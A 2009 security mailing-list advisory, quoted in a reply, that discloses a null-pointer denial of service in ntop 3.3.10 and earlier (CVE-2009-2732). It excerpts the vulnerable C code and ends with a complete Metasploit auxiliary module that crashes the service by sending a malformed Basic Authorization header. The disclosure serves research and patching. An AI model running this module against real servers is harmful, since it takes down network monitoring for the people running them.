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On Tue, Aug 18, 2009 at 11:13:05AM -0600, brad.antoniewicz@xxxxxxxxxxxxxx wrote:
> Title: ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service
> ---------------------------------------------------------------------------------
>
> Vendor: ntop
>
> Vendor URL: www.ntop.org
>
> Vendor Response: None
>
> Description:
>
> A denial of service condition can be reached by specifying an invalid value for the Authorization
> HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
> a colon. When no colon exists in the decoded string the username is left at its default NULL value.
> During the authentication process the length of the username is computed via strlen(), which results
> in a segmentation fault when it processes the null value.
>
> Code:
>
> static int checkHTTPpassword(char *theRequestedURL,
> int theRequestedURLLen _UNUSED_,
> char* thePw, int thePwLen) {
> char outBuffer[65], tmpOutBuffer[65], *user = NULL, users[LEN_GENERAL_WORK_BUFFER];
--
Dave McKinney
Symantec
keyID: E461AE4E
key fingerprint = F1FC 9073 09FA F0C7 500D D7EB E985 FAF3 E461 AE4E
Title: ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service
---------------------------------------------------------------------------------
Vendor: ntop
Vendor URL: www.ntop.org
Vendor Response: None
Description:
A denial of service condition can be reached by specifying an invalid value for the Authorization
HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
a colon. When no colon exists in the decoded string the username is left at its default NULL value.
During the authentication process the length of the username is computed via strlen(), which results
in a segmentation fault when it processes the null value.
Code:
static int checkHTTPpassword(char *theRequestedURL,
int theRequestedURLLen _UNUSED_,
char* thePw, int thePwLen) {
char outBuffer[65], tmpOutBuffer[65], *user = NULL, users[LEN_GENERAL_WORK_BUFFER];
.
.
.
if(outBuffer[i] == ':') {
outBuffer[i] = '\0';
user = outBuffer;
break;
}
.
.
.
if(strlen(user) >= sizeof(theHttpUser)) user[sizeof(theHttpUser)-1] = '\0';
.
.
.
Affected Operating Systems:
Only tested on Linux
Affected Versions:
ntop <= 3.3.10
CVE: CVE-2009-2732
Credit:
Brad Antoniewicz
brad.antoniewicz@xxxxxxxxxxxxxx
code:
START modules/auxiliary/dos/http/ntop_basic.rb ---------------------------------------
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'NTOP <= 3.3.10 Basic Authorization DoS',
'Description' => %q{
A denial of service condition can be reached by specifying an invalid value for the Authorization
HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
a colon. When no colon exists in the decoded string the username is left at its default NULL value.
During the authentication process the length of the username is computed via strlen(), which results
in a segmentation fault when it processes the null value.
},
'Author' => 'Brad Antoniewicz <brad.antoniewicz@xxxxxxxxxxxxxx>',
'License' => MSF_LICENSE,
'Version' => '1',
'References' => [
[ 'BID', 'None'],
[ 'CVE', 'CVE-2009-2732']
],
'DisclosureDate' => 'Aug 08 2009'))
register_options( [Opt::RPORT(3000),], self.class )
end
def run
begin
o = {
'uri' => '/configNtop.html',
'headers' => {
'Authorization' => 'Basic A=='
}
}
c = connect(o)
c.send_request(c.request_raw(o))
print_status("Request sent to #{rhost}:#{rport}")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_status("Couldn't connect to #{rhost}:#{rport}")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
END modules/auxiliary/dos/http/ntop_basic.rb ---------------------------------------
